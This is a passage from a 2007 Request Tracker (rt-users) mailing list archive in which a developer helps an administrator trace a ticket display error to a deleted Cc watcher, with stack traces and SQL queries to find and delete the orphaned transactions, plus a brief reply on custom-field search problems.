> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 1246
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 1245
> > >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 459
> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
> > >> line 411
> > >> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> > >>
> > >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> > >> line 168
> > >> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
> > >>
> > >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
> > >> line 826
> > >> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
> > >>
> > >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> > >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
> > >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
> > >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
> > >> -e line 0
> > >> eval {...} at -e line 0
> > >>
> > >> If we don't protect the freedom of speech, how will we know who the
> > >> assholes are?
> > >> http://theillien.blogspot.com
> > >>
> > >>
> > >> Mathew Snyder wrote:
> > >> > I think I've asked about this before and I'm fairly certain I
> > >> already know the
> > >> > answer.  However, I'm not certain it should be happening.
> > >> >
> > >> > We keep getting the error "Can't call method "Name" on an undefined
> > >> value..."
> > >> > If I recall correctly this is a result of eliminating via Shredder a
> > >> user which
> > >> > was at one point attatched to a ticket.  The only problem with this
> > >> is that the
> > >> > only users I remove are those that are created when we receive spam.
> > >> >
> > >> > So is this the only explanation?  More and more of these tickets
> > >> keep appearing
> > >> > but I can't figure out how all of these users are disappearing.
> > >> >
> > >> > Thanks
> > >> > Mathew
> > >> > _______________________________________________
> > >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > >> >
> > >> > Community help: http://wiki.bestpractical.com
> > >> > Commercial support: sales at bestpractical.com
> > >> >
> > >> >
> > >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > >> > Buy a copy at http://rtbook.bestpractical.com
> > >> >
> > >> _______________________________________________
> > >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > >>
> > >> Community help: http://wiki.bestpractical.com
> > >> Commercial support: sales at bestpractical.com
> > >>
> > >>
> > >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > >> Buy a copy at http://rtbook.bestpractical.com
> > >>
> > >
> > >
> >
>
>
> --
> Best regards, Ruslan.
>


-- 
Best regards, Ruslan.


From theillien at yahoo.com  Fri Feb  9 01:11:41 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Fri, 09 Feb 2007 01:11:41 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702082200n62534f34y2c1df6895dc276f9@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>	
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>	
	<45CBF647.1040206@yahoo.com>	
	<589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
	<589c94400702082200n62534f34y2c1df6895dc276f9@mail.gmail.com>
Message-ID: <45CC109D.5060507@yahoo.com>

The results of each query are attached as .txt files.


Ruslan Zakirov wrote:
> I'm terribly sorry bu here is more correct queries:
> 
> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
> txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
> Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
> 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON p.id =
> txn.NewValue WHERE p.id IS NULL AND t.id = XXX;
> 
> and
> 
> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
> txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
> Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue WHERE
> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND p.id IS
> NULL;
> 
> 
> On 2/9/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
>> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> > It would appear I removed someone that was added as a CC:
>> >
>> > +--------+-----------+---------------+--------------+-------+
>> > | Name   | Field     | ReferenceType | NewReference | tid   |
>> > +--------+-----------+---------------+--------------+-------+
>> > | NULL   | Cc        | NULL          |         NULL | 55767 |
>> > | rbates | Requestor | NULL          |         NULL | 55767 |
>> > +--------+-----------+---------------+--------------+-------+
>> >
>> > Is it possible to correct this?
>> Yes, sure.
>> This means that you've deleted a user who was added as Cc watcher to
>> ticket 55767. As well this means a bug exists in shredder and I've
>> fixed it and released shredder 0.05.
>>
>> The following query is more informative:
>> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
>> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
>> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
>> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
>> u.id IS NULL AND t.id = XXXXX;
>>
>> This query selects only transactions with problems. txn_id column in
>> the result will show you problematic Transactions and NewValue column
>> will show you ids of the users that don't exist anymore.
>>
>> You can safely delete this transactions using the following query:
>> DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);
>>
>> Also, you can select all such transactions from your DB:
>> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
>> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
>> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
>> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
>> u.id IS NULL;
>>
>> If amount of the transactions is too big then I could help you write
>> down a delete query that will delete all this txns.
>>
>>
>>
>> >
>> > Ruslan Zakirov wrote:
>> > > Please, run the following SQL query:
>> > > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
>> > > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>> > > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>> > > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> > >
>> > > Where XXXX id of the ticket. Then send me results.
>> > >
>> > >
>> > > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> > >> I'd like to add to this.  I've looked at the database and found that
>> > >> there are
>> > >> 63 transactions attached to this ticket.  There are also no
>> > >> transactions for
>> > >> which there isn't a user.  I've looked up the names on each user
>> id in
>> > >> the
>> > >> transactions table and found that they correspond to someone that
>> > >> would likely
>> > >> have had a part in the ticket.
>> > >>
>> > >> There are as many user id entries as there are transactions.  What I
>> > >> mean is,
>> > >> there are multiple entries for some ids but all transactions have a
>> > >> user id
>> > >> attached to it.  This tells me that the transactions aren't
>> corrupted
>> > >> by a
>> > >> missing user that possibly got Shredded out of the database.
>> > >>
>> > >> As I've said before, this isn't the first time we've seen this so
>> I'm
>> > >> beginning
>> > >> to think this is a bug of some sort.
>> > >>
>> > >> The full error follows.
>> > >>
>> > >> error:          Can't call method "Name" on an undefined value at
>> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> > >> context:
>> > >> ...
>> > >> 686:    AddWatcher => sub {
>> > >> 687:    my $self = shift;
>> > >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> > >> 689:    $principal->Load($self->NewValue);
>> > >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> > >> $principal->Object->Name);
>> > >> 691:    },
>> > >> 692:    DelWatcher => sub {
>> > >> 693:    my $self = shift;
>> > >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> > >> ...
>> > >> code stack:    
>> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> > >> /usr/local/rt-3.6.1/share/html/autohandler:279
>> > >>
>> > >>
>> > >>
>> > >> raw error
>> > >> Can't call method "Name" on an undefined value at
>> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> > >>
>> > >>
>> > >> Trace begun at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> > >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method
>> "Name"
>> > >> on an
>> > >> undefined value at
>> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> > >> line
>> > >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> > >> line 690
>> > >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)')
>> called at
>> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> > >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> > >> called at
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction
>> line 54
>> > >> HTML::Mason::Commands::__ANON__('Attachments',
>> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> 'ShowHeaders',
>> > >> undef,
>> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> > >> 'Attachments',
>> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> > >> 'LastTransaction',
>> > >> 0) called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> > >> line 135
>> > >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> > >>
>> > >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> > >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
>> 'Collapsed',
>> > >> undef,
>> > >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> > >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'Transaction',
>> > >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
>> 'Collapsed',
>> > >> undef,
>> > >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> > >> 'ARRAY(0xc59f11c)',
>> > >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
>> called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 1245
>> > >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> 'ShowHeaders',
>> > >> undef,
>> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> > >> 'Attachments',
>> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> > >> 'LastTransaction',
>> > >> 0) called at
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> > >> HTML::Mason::Commands::__ANON__('Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> > >> 'Attachments',
>> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> > >> 'RT::Attachments=HASH(0xc98d840)') called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> > >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> > >>
>> > >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef,
>> 'Collapsed',
>> > >> undef,
>> > >> 'ShowHeaders', undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)',
>> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 1245
>> > >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> > >> 'Attachments',
>> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> > >> 'RT::Attachments=HASH(0xc98d840)') called at
>> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> > >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> > >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> > >>
>> > >> 'id', 55767, 'id', 55767) called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 1245
>> > >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> > >> called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> > >>
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> > >>
>> > >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler
>> line
>> > >> 279
>> > >> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> > >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> > >>
>> > >> 'id', 55767) called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 1246
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 1245
>> > >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767)
>> called at
>> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 459
>> > >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> > >> line 411
>> > >>
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> > >>
>> > >> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> > >> line 168
>> > >>
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> > >>
>> > >> called at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> > >> line 826
>> > >>
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> > >>
>> > >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> > >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> > >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> > >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)')
>> called at
>> > >> -e line 0
>> > >> eval {...} at -e line 0
>> > >>
>> > >> If we don't protect the freedom of speech, how will we know who the
>> > >> assholes are?
>> > >> http://theillien.blogspot.com
>> > >>
>> > >>
>> > >> Mathew Snyder wrote:
>> > >> > I think I've asked about this before and I'm fairly certain I
>> > >> already know the
>> > >> > answer.  However, I'm not certain it should be happening.
>> > >> >
>> > >> > We keep getting the error "Can't call method "Name" on an
>> undefined
>> > >> value..."
>> > >> > If I recall correctly this is a result of eliminating via
>> Shredder a
>> > >> user which
>> > >> > was at one point attatched to a ticket.  The only problem with
>> this
>> > >> is that the
>> > >> > only users I remove are those that are created when we receive
>> spam.
>> > >> >
>> > >> > So is this the only explanation?  More and more of these tickets
>> > >> keep appearing
>> > >> > but I can't figure out how all of these users are disappearing.
>> > >> >
>> > >> > Thanks
>> > >> > Mathew
>> > >> > _______________________________________________
>> > >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> > >> >
>> > >> > Community help: http://wiki.bestpractical.com
>> > >> > Commercial support: sales at bestpractical.com
>> > >> >
>> > >> >
>> > >> > Discover RT's hidden secrets with RT Essentials from O'Reilly
>> Media.
>> > >> > Buy a copy at http://rtbook.bestpractical.com
>> > >> >
>> > >> _______________________________________________
>> > >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> > >>
>> > >> Community help: http://wiki.bestpractical.com
>> > >> Commercial support: sales at bestpractical.com
>> > >>
>> > >>
>> > >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> > >> Buy a copy at http://rtbook.bestpractical.com
>> > >>
>> > >
>> > >
>> >
>>
>>
>> -- 
>> Best regards, Ruslan.
>>
> 
> 
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From torsten.brumm at googlemail.com  Fri Feb  9 01:16:37 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 9 Feb 2007 07:16:37 +0100
Subject: [rt-users] custom field search
In-Reply-To: <45CB53EC.5000409@pipex.net>
References: <45CB53EC.5000409@pipex.net>
Message-ID: <bdbd084b0702082216h4480ed54ma2a0f9d6db09297f@mail.gmail.com>

Hi Roy,

so far i can remember, there was a problem some sub releases ago with CF's
searches and jesse also send a patch or fix to the list. I'm not sure for
which version but i think it was 3.6.1. Have you tryed to upgrade to 3.6.3?
Here it is working.

Torsten

2007/2/8, Roy El-Hames <rfh at pipex.net>:
>
> Hi there;
> RT 3.6.1 , apache2 mod_perl2 and mysql 5
>
> I have asked this question before , but did not get a valid response ,
> I have a problem searching custom fields values, I can display them in
> the search results , but I can't search for them eg a search
> 'CF.{Customer_Ref}' LIKE '1234' AND Queue = 'Testing' display 0 results
> where I know there is atleast 1 ..
> I can see and edit cf's so its not permission issue ...
>
> I have removed all customisation (apart of RT_SiteConfig) so its nothing
> I did ..
> the problem apply to all types of custom fields.
>
> Any help will be appreciated.
>
> Thanks;
> Roy
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From ruslan.zakirov at gmail.com  Fri Feb  9 01:35:20 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 9 Feb 2007 09:35:20 +0300
Subject: [rt-users] Ticket Errors
In-Reply-To: <45CC109D.5060507@yahoo.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>
	<45CBF647.1040206@yahoo.com>
	<589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
	<589c94400702082200n62534f34y2c1df6895dc276f9@mail.gmail.com>
	<45CC109D.5060507@yahoo.com>
Message-ID: <589c94400702082235l27f58e19t8d12f62ab4d5f6ab@mail.gmail.com>

Ok, I've got all info I needed. Thanks.

Now you can delete these transactions and get rid of those errors.

If you're using mysql 4.1 and greater then you can use the following queries:
DELETE txn FROM Transactions txn LEFT JOIN Principals p ON (
txn.NewValue = p.id ) WHERE txn.Type = 'AddWatcher' AND p.id IS NULL;
DELETE txn FROM Transactions txn LEFT JOIN Principals p ON (
txn.OldValue = p.id ) WHERE txn.Type = 'DelWatcher' AND p.id IS NULL;


On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> The results of each query are attached as .txt files.
>
>
> Ruslan Zakirov wrote:
> > I'm terribly sorry bu here is more correct queries:
> >
> > SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
> > txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
> > Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
> > 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON p.id =
> > txn.NewValue WHERE p.id IS NULL AND t.id = XXX;
> >
> > and
> >
> > SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field, txn.NewValue,
> > txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
> > Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue WHERE
> > txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND p.id IS
> > NULL;
> >
> >
> > On 2/9/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
> >> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> > It would appear I removed someone that was added as a CC:
> >> >
> >> > +--------+-----------+---------------+--------------+-------+
> >> > | Name   | Field     | ReferenceType | NewReference | tid   |
> >> > +--------+-----------+---------------+--------------+-------+
> >> > | NULL   | Cc        | NULL          |         NULL | 55767 |
> >> > | rbates | Requestor | NULL          |         NULL | 55767 |
> >> > +--------+-----------+---------------+--------------+-------+
> >> >
> >> > Is it possible to correct this?
> >> Yes, sure.
> >> This means that you've deleted a user who was added as Cc watcher to
> >> ticket 55767. As well this means a bug exists in shredder and I've
> >> fixed it and released shredder 0.05.
> >>
> >> The following query is more informative:
> >> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> >> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> >> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> >> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> >> u.id IS NULL AND t.id = XXXXX;
> >>
> >> This query selects only transactions with problems. txn_id column in
> >> the result will show you problematic Transactions and NewValue column
> >> will show you ids of the users that don't exist anymore.
> >>
> >> You can safely delete this transactions using the following query:
> >> DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);
> >>
> >> Also, you can select all such transactions from your DB:
> >> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> >> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> >> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> >> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> >> u.id IS NULL;
> >>
> >> If amount of the transactions is too big then I could help you write
> >> down a delete query that will delete all this txns.
> >>
> >>
> >>
> >> >
> >> > Ruslan Zakirov wrote:
> >> > > Please, run the following SQL query:
> >> > > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
> >> > > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
> >> > > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
> >> > > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
> >> > >
> >> > > Where XXXX id of the ticket. Then send me results.
> >> > >
> >> > >
> >> > > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
> >> > >> I'd like to add to this.  I've looked at the database and found that
> >> > >> there are
> >> > >> 63 transactions attached to this ticket.  There are also no
> >> > >> transactions for
> >> > >> which there isn't a user.  I've looked up the names on each user
> >> id in
> >> > >> the
> >> > >> transactions table and found that they correspond to someone that
> >> > >> would likely
> >> > >> have had a part in the ticket.
> >> > >>
> >> > >> There are as many user id entries as there are transactions.  What I
> >> > >> mean is,
> >> > >> there are multiple entries for some ids but all transactions have a
> >> > >> user id
> >> > >> attached to it.  This tells me that the transactions aren't
> >> corrupted
> >> > >> by a
> >> > >> missing user that possibly got Shredded out of the database.
> >> > >>
> >> > >> As I've said before, this isn't the first time we've seen this so
> >> I'm
> >> > >> beginning
> >> > >> to think this is a bug of some sort.
> >> > >>
> >> > >> The full error follows.
> >> > >>
> >> > >> error:          Can't call method "Name" on an undefined value at
> >> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> > >> context:
> >> > >> ...
> >> > >> 686:    AddWatcher => sub {
> >> > >> 687:    my $self = shift;
> >> > >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
> >> > >> 689:    $principal->Load($self->NewValue);
> >> > >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
> >> > >> $principal->Object->Name);
> >> > >> 691:    },
> >> > >> 692:    DelWatcher => sub {
> >> > >> 693:    my $self = shift;
> >> > >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
> >> > >> ...
> >> > >> code stack:
> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
> >> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
> >> > >> /usr/local/rt-3.6.1/share/html/autohandler:279
> >> > >>
> >> > >>
> >> > >>
> >> > >> raw error
> >> > >> Can't call method "Name" on an undefined value at
> >> > >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
> >> > >>
> >> > >>
> >> > >> Trace begun at
> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
> >> > >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method
> >> "Name"
> >> > >> on an
> >> > >> undefined value at
> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
> >> > >> line
> >> > >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
> >> > >> line 690
> >> > >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)')
> >> called at
> >> > >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
> >> > >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
> >> > >> called at
> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction
> >> line 54
> >> > >> HTML::Mason::Commands::__ANON__('Attachments',
> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
> >> 'ShowHeaders',
> >> > >> undef,
> >> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
> >> '/Ticket/Attachment',
> >> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
> >> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
> >> undef,
> >> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
> >> > >> 'Attachments',
> >> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
> >> > >> 'LastTransaction',
> >> > >> 0) called at
> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
> >> > >> line 135
> >> > >>
> >> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
> >>
> >> > >>
> >> > >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
> >> > >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
> >> > >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
> >> 'Collapsed',
> >> > >> undef,
> >> > >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
